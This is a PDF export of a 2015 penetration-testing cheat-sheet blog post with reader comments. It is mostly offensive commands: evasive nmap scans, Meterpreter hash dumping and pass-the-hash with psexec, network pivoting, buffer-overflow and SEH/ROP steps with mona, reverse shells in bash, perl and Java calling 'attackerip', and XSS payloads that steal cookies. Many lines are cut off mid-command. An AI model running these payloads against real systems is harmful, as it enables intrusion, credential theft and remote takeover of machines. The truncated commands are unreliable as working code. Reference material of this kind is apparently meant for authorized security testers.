Pentest Tips and Tricks #1
Pentest Tips and Tricks #1
CONTENTS
Pentest Tips and Tricks Other Parts
Samba Enumeration
SNMP Enumeration
Dirb Dir Bruteforce:
Windows Useful cmds
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Nikto web server scanner Meterpreter portfwd
Netcat examples
wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip
cd httprint_301/linux/ Banner grabbing with NC
./httprint -h http://IP -s signatures.txt
Window reverse shell
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use
Compiling Windows Exploits
on Kali
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 ta
NASM Commands
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
SSH Pivoting
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
SSH Pivoting from One
nmap -sS -sV -T5 -F -A -O target (version detection) Network to Another
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp) Pivoting Using metasploit
nmap -sC 192.168.31.10-12 (all scan default)
Exploit-DB search using CSV
File
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
xprobe2 -v -p tcp:80:open IP SEH - Structured Exception
Handling
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
PuTTY Link tunnel
Meterpreter portfwd
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389
Meterpreter VNC\RDP
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
a
# https://www.offensive-security.com/metasploit-unleashed/enabling-remo
run getgui -u admin -p 1234
run vnc -p 5043
Mimikatz use
or
or
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846
msf exploit(psexec) > exploit
meterpreter > shell
Netcat examples
c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Window reverse shell
Python shell
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
python -c 'import pty;pty.spawn("/bin/bash")'
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot
php -S 0.0.0.0:8888
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
NASM Commands
SSH Pivoting
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target
or
# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0 255.255.255.0 Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address : 10.1.13.2
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"
MSF Payloads
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’
# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = sh
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
SEH - Structured Exception Handling
# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_m
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
ROP (DEP)
# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr
# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'
# Setting Breakpoint
break *_start
# Continue Execution
continue
c
# Data
checking 'REGISTERS' and 'MEMORY'
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 |
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
p.waitFor()
# Start an open X Server on your system (:1 – which listens on TCP port
apt-get install xnest
Xnest :1
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
xterm -display 127.0.0.1:1
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")
<script>document.location=http://IP:PORT</script>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88
";!–"<XSS>=&amp;{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp
<IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0
<IMG SRC="jav ascript:alert('XSS');">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
(">< iframes http://google.com < iframes >)
<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=htt
<img src=asdf onerror=alert(document.cookie)>
# on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd
$ socat SCTP-LISTEN:80,fork TCP:localhost:22
# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever p
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Versio
wget http://downloads.metasploit.com/data/releases/metasploit-latest-li
+x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-lin
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
# create user
$ /opt/metasploit/createuser
[*] Please enter a username: root
[*] Creating user 'root' with password 'LsRRV[I^5' ...
# update metasploite
$ /opt/metasploit/app/msfupdate
# use msfconsole
$ /opt/metasploit/app/msfconsole
Pentest Tips and Tricks was published on July 01, 2015 and last modi ed on July 01, 2015.
5 Comments EK BLOG
1 Login
LOG IN WITH
OR SIGN UP WITH DISQUS ?
Name
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Windows. There should be a space between binpath= and the upper
ticks.
1△ ▽ • Reply • Share ›
pk • 3 years ago
perfect !!
△ ▽ • Reply • Share ›
sk • 3 years ago
thank you. Good posting.
△ ▽ • Reply • Share ›
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD